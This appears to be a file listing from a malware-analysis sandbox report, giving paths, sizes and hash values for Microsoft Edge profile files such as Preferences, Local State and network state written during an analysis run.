SHA512 9a2b794225cead67ef9d904c4f5ba94f2b61d29670d6c96b964030780fc1e9e108e9e6145ff6971963987fe81010c6baee6b439818a2c48fe3adebf5aea08c22
TLSH
T1B6E026D415C8C3AFE386B48B41E86F8C87803B8FA7CC6E8E2B0884C4B041484E282696
MD5 SHA1 SHA512 TLSH

Submit Download

LOG.old

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old
Size 331B
SHA256 300ec1b44dd4956420a5824528eb7151fcd858193517665af40d21dcabf25ad3
MD5 2497748661a331e2c73f620156f56b52
SHA1 3253a078bf2bc1ed777e0eff8441180398abc48d
SHA512 c021eb775d885ee8eb8af4a89f63d747cf38e8c6c35dbb3eb69305b4aadd5e1fc8d8db664a986c7f7dc8db09e970c628c9a9e237997c807508e078327ac47898
TLSH
T1C5E0268514DBC2AFE3406A4741FC570CD3817F4A97CC6E0E6B08C4C47001440B2C3690
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 6dbe003514f30e2274246843234eff003b2d6d8c78e4f7f3a93dd696ffda7e30
MD5 b0dc9df5facbbb535ad9b5f1a7caaed5
SHA1 52c06b39524aeb55d766715919558f3e6462bcec
SHA512 006dc63fbd975d2ca316f5638487ede56e3880d9eac37a0003a41a9819670b07d9a5ef619c9d3b91ea13f2ede9fcf1fa3a85bea869047dd44fd5f5b7f978f453
TLSH
T11B61BCA5594050D1CBFB743C9AD420773675F7A52A6BBF51816FC8B44CC3FEA1E52060
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe592428.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe592428.TMP
Size 3KB
SHA256 42a12c98919273f35738ae76893a6fd00cbae97e6abbfb09dda93669603f93a7
MD5 33645724c0c91e5a296db7426af58e2f
SHA1 745675da9158644f54c7ee173958ff5e11453a21
SHA512 779260cdae910399187c31e19cff1cb293a74f48c567fbc90560e9a6e17c2fb4c49a978200a6281e914a6ddb6346f8be91a2997deaf9d0a07a14abcdd14ed98e
TLSH
T18061BAA5584050D1CBFB743C9AD420BB3A79F7A1266BBF61916FC8B44CC3FE61E62060
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 a4cd94f412a22845e6520ced112dab330a142efe1705a29463c74b88c4875012
MD5 83e9892347fb1247a4f883e95ad2a593
SHA1 54ff591998912a5ef579b87150af5f95cf25961b
SHA512 64db56b378a43f5736d34b8e12df5e86d2ea6e4d28bb34e971d9604cf71fb1f376d8086bc318eb5c99f1a41e46b4a193ae2f575ec1f1bed6436cb740ea4fb75e
TLSH
T10C41BDF7C3E8C66EA92216F4AB24EE2BCE1D091543283D5A84D4EF57D7E3460D10155F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 111B
SHA256 5dfc321417fc31359f23320ea68014ebfd793c5bbed55f77dab4180bbd4a2026
MD5 285252a2f6327d41eab203dc2f402c67
SHA1 acedb7ba5fbc3ce914a8bf386a6f72ca7baa33c6
SHA512 11ce7cb484fee66894e63c31db0d6b7ef66ad0327d4e7e2eb85f3bcc2e836a3a522c68d681e84542e471e54f765e091efe1ee4065641b0299b15613eb32dcc0d
TLSH
T136B01269E4517CFF074A83A41928F453C3FF0047421C8ABEEA3873AD42A21BD0C28C47
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 10KB
SHA256 fceb74fc4b021ddd77b57996237507f072d2fd121da1a186638f211dfe8e4f40
MD5 c65ba5e1e61554930335553b5eb17e19
SHA1 6d28fc0c0aeea173343fe0083e16c1d949ed9635
SHA512 84c5a47abcfc4efa54b598c1e88729badfa1577d7603548e4166b2f80295c7caa5507535bd03aaaa8e91e76d1a86b3e2f27678f5de10e2b46d7cacb25d299237
SSDEEP 192:sxZrREbX/fksfuOKIdpKu/W6+WNz/n/Y0CqTp+XIgrJ:sxZrwX/fksfuKR/bb/5npk9
TLSH
T1F622C7526E34B97B8CCBD31DBB19BF53E6F95432A1911E48AAFC861C04E76DD120780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 10KB
SHA256 6050c53de0ffdce0a8226f3cccb043010bb7802a5009721327b4e2f0c38fafc5
MD5 89b646203fe75e1882ede26c7ee92b1f
SHA1 a1a64f5a2838d183ce56200eea7f940f910572d3
SHA512 3791595d49d8c9a31d54fa875205d87ac848c7ca53b4bc65754bb9548205b826b607e3c280131b5d543f9bf9f86f5051d3b4fa5baf6eef87329b69bd2ee57e52
SSDEEP 192:sxZrREbX/fksBuOKIdp8u/W6+WNz96ZY0C4YTp+XIg5JJ:sxZrwX/fksBuKb/b4Z5kpkx
TLSH
T10132E8526E38797B8CC7E21DBB19BF53E2F95032A1901E48ABFC861C15E76DD120780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 10KB
SHA256 219bdf90553f4e704355096b6f9d26dbda87fb6413d924f9f860c70a03ce43ce
MD5 9b444f5f3a81fe56f49d63c1c456ce4a
SHA1 68b87d1209dbfd7b9bfc87e65a8350850a784c39
SHA512 6d0f3dea1adac145bbba1af4e80650715d9791acfa3cef4f0e29b69e4dfaa94de2d0e1050019720c01ae8ea3955622d6c07ee5368e01ccaf6cece6243b13a385
SSDEEP 192:sxZrREbX/fksBuOKIdpKu/W6+WNzo3XY0C/Tp+XIg5JJ:sxZrwX/fksBuKR/bUX50pkx
TLSH
T19922E8526E28797B8CC7E21DBB19BF53E6F95032A1911E48AAFC861C05F76DD120780F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 10KB
SHA256 67aaf020bf27dff9a06e064ea51f0ddb7072d1e771f3c2c8c54bb09beb1e9801
MD5 ac161fcaf1dbb7396566dd6d4a87881f
SHA1 3ce166cb6d5e8ba86c3fe5d6ecfb9e91eb960ad9
SHA512 9e5f7e59bff36f99b40f68f5472f7a0115b8b3d0988e3b4b8070f8d9b5b10cdcdb9042ab40fc2912ba9577d019f398b055c9ac81d1ac9d6974e4e8760c0eb493
SSDEEP 192:sxZrREbX/fksUuOKIdpKu/W6+WNz/n/Y0C0Tp+XIg5rJ:sxZrwX/fksUuKR/bb/5Lpkv
TLSH
T12E22B7526E34B97B8CCBD31DBB19BF53E6F95432A1911E48AAFC861C04E76DD120780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 28KB
SHA256 604070c6f366d5b67fe9c122f9c9b785a71213aaa601e4d36a9a71ed3f2a68ad
MD5 f1709ec22fd585bf8466c00fec16ac63
SHA1 07063f97642e08ccf402fbae402fa1b14e3df156
SHA512 5300f1cc4492dd85b4db7000c7197bccb0fefc306f1befc7ea99087f3005e7cbfa9c69d71b2429064b33f4a9d4c81fc2aad95d7766b940551e0a81676c331f9e
SSDEEP 768:WylTj8Gr2ymWRm+KQEC8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3MxLl/C80fNNroRC:WylTj8Gr2ymWRm+KQECu1jaKMxLpCNfd
TLSH
T15DD20B3F640CCB7E4FC01A9DDD5A6F976E9802C7A6688D4047FE984C02D77EA512A4CB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 8532ee09c8aa7a49a5c21dd0b8d8cd2e6543e6f02edc8abc03c7086f77e2808b
MD5 e942a6675ae50400063ee54276894abc
SHA1 a2adf1ddf958a6aef310aed64f2eed4d90481190
SHA512 1fe9c80479f1acbeb942f79cbb89fe6ffa31dbfb348bfef22f6c318ea171645ca5e01403668cb310c736fec6d8b72a1ac0e933076fe991be97128f9ab34c5200
SSDEEP 96:KEwQKl2KG5CKKUs4rE4W2mCsOJxyoCKqnyaCeIwxy4rzz:y7RLJH
TLSH
T115910041327F024638BDA94D80B8C72B465271A73168E92B7FEC50638EB7E146DFD9C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe59b397.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe59b397.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 ee416218b08b0550f0173b48c723e0903051dac1a08521b2ac4f840f21ba70ba
MD5 cf3907bb8ecd7befc14565e5bdc5ac58
SHA1 7860a147a783c31747b0d33da8652bc6a71ff62e
SHA512 b861dd531002cc0920728ff7857abc1ca10aa919783a032936aef712ca277f8124fff61c3f316f0d6c7611e9b14164eb26cf74fe6b990faed1c4cd3988b09dd8
SSDEEP 384:XZcId8NzUC4IT65n25S6+zUYoBjxuvzxV+MhdpfGqoq:fdHIU8Vpj4184pfF1
TLSH
T15D827DB15C787CBB5CA7D241F44B36139EB8D06B96CC2F44D5ECAB1D05EA695030BC2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 e31008aa2fc3d8b1a10976411611a28de0d8abb42aedf4f0abc8a342b486c4fc
MD5 4279017f8336857cdf9319a610460e28
SHA1 ac1fc4aaec5b7456d7e0f48b162a753527c550a6
SHA512 7516a713e1e67c3a2b3469a532c5ebf7a54e5da69f7cde51fc09173803aa8d9a3c29fc6b0379c6882f508c567e348bb642ec3b6d316c8ea747aa13ef019eea86
SSDEEP 384:xZcI18NzUG4IT65d25S6+zUYoQjxuvzxV+MhdpfGqoq:Z1zIc8V4j4184pfF1
TLSH
T173828D715C787CBB5CA7E241F44B36139EB8D06B96C86F44D8ECAB1D05EA6A5030BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 55dfc4789c7a580d53d4d1f468d300e8219c5dc344b63c3cad8fc0f56a95f281
MD5 ea15417da64d844285b9c8965a19e583
SHA1 2e5492fdd560c78103195c47c8de453d6cd010fc
SHA512 e258687410ef52fec08be07ef823e76fcce63f7e6ad7b3c4bdce09671b1231721a58c0c7897495787d2371b8d19b626ec7a0c0250834a5183e21996b6228f42e
SSDEEP 96:dIqGNkBQsjpfWViu3s5ih/cIPURHl8h4otop591J5D3wBUPjvAJHcxGXPa3BWxv1:9GN96UbxQmiUyrJpE+W9XPa6+or50cU6
TLSH
T16502D835AC787CBB8DF3AE15B48B36239FA5212BD9952F84D9E91B1C04D764C1307832
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 18KB
SHA256 cbda614c757d8b2eb0ecdd9d35aa7c9b43100b220a3a9e29652d2c3f24183c8c
MD5 55ddea8abf3f25d6bdbc550c00b57200
SHA1 7a663d15aa6fc99c549401a16630fb4ff85ca2d1
SHA512 5c1af695ebc578dbded5a692bc97d044bc9045b51b8bea3006c64269cb68c74fd1439d9fdec989b7306a90b2916f3f0406409589662d7b4d9530276f2c022332
SSDEEP 384:oZcId8NzUx4IT6xun25S6+zUYoxjxuvzxV+MhdpfGqoq:WdqIX8VJj4184pfF1
TLSH
T18A827DB15C787CBB5CA7E241F44A36039EB8D06B96CC2F44D5ECAB1D05EA695030BC2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 ecd136b44e40f7c833abff20b6184a498465d1b2d549475fc7b489dd6d140e9f
MD5 0c5a2fbc9c8347a6383b4d68edf1df9f
SHA1 4d570d33b6a4b8d1eaf05b94372e08cd5f42a648
SHA512 97c1d08b9ef7d842e38d0f6d32eae2860e98d8ec8c97afa60d69f43bb41410219d62899d4636560a360971c78b962b0497100390578ee4ae283c60d5c1b775fe
SSDEEP 192:9GNZ6UbeQmiUyKEiW9XPa6+zObPwo6RePKo/GU6:9GNZ6Ia4ikS6+zUYocjU6
TLSH
T199121B35A8787C7B5DE3D961F44B35139E64522BDB896F84D9EC2B1C05EF59C030B822
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 21KB
SHA256 17e172168a5277187cf2fe006a207a562d7e0c59d48a1878140022fa5e223e6b
MD5 b06efc20e138a2c8bf87ad3499d95ef0
SHA1 35cf233b2ebeca43d837e286b34a45e8fedbcca2
SHA512 845c697b70f7d718d9aa42cb7accb93258850e970a493d42655b49b62124de43d75556fce9f2f17729e83b248a0314be665a4376e095b8946887a8068336edd3
SSDEEP 384:yiFnZcIH8No8TUNTUlIlx4IT6xun25S6+zUYoYjxuvzxV+MhdpfGqoq:5FPHhwgkIX8Vwj4184pfF1
TLSH
T1D6A26E735CA4ACBF9DA79B41F94A3203DEB49067D988AE54D6DC9F1D01AB1D8030BC15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

548a1ffc-a1aa-4cf4-95a3-a23aec4b7e85.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\548a1ffc-a1aa-4cf4-95a3-a23aec4b7e85.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download